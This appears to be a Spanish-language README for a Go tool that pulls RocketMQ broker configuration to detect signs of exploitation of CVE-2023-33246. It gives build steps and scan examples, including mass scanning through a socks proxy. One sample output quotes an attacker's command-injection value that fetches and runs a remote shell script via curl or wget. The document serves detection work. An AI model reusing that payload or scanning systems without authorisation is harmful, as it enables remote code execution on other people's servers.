
Un go-exploit para obtener la configuración del broker RocketMQ con el fin de descubrir indicadores de compromiso para CVE-2023-33246
Fetch Broker Configuration intentará descargar la configuración del broker de RocketMQ para buscar indicadores de compromiso en la variable rocketmqHome. Esta variable es utilizada por varios atacantes para ejecutar código a través de CVE-2023-33246. Para más detalles, consulte el blog de VulnCheck.
Puede usar el makefile para construir un contenedor Docker:
make docker
O, si tiene un entorno de compilación de Go listo, simplemente use make:
albinolobster@mournland:~/fetch-broker-conf$ make
gofmt -d -w main.go
golangci-lint run --fix main.go
GOOS=linux GOARCH=arm64 go build -o build/main_linux-arm64 main.go
La herramienta está construida sobre go-exploit, por lo que hay múltiples formas de proporcionar objetivos para escanear. Una descripción completa se puede encontrar en la documentación de escaneo del proyecto. Sin embargo, a continuación se muestran algunos ejemplos:
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhost 10.9.49.143 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:27:48.567836165-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
albinolobster@mournland:~/fetch-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts 10.9.49.143,10.9.49.150 -rport 10911 -log-json true | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-09-05T05:34:27.505747211-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.143",
"port": 10911
}
{
"time": "2023-09-05T05:34:27.802345043-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "/rocketmq-all-5.1.0-bin-release",
"host": "10.9.49.150",
"port": 10911
}
go-exploit proporciona la capacidad de escanear mediante un csv de objetivos proporcionado, donde el csv es: host, port, anything if ssl is enabled (aunque el campo SSL se ignora si se usa -a). También proporciona la capacidad de escanear a través de un proxy. El comando funciona así (tenga en cuenta que -a es la autodetección de SSL):
albinolobster@mournland:~/rocketmq-broker-conf$ ./build/main_linux-arm64 -a -e -rhosts-file /tmp/rocketmq.csv -proxy socks5://127.0.0.1:9050 -log-json true 2>/dev/null | jq 'select(.msg == "Extracted the variable")'
{
"time": "2023-08-31T13:45:35.781849255-04:00",
"level": "SUCCESS",
"msg": "Extracted the variable",
"rocketmqHome": "-c $@|sh . echo (curl -s x.x.x.x/rm.sh||wget -q -O- x.x.x.x/rm.sh)|bash;",
"host": "x.x.x.x",
"port": 10909
}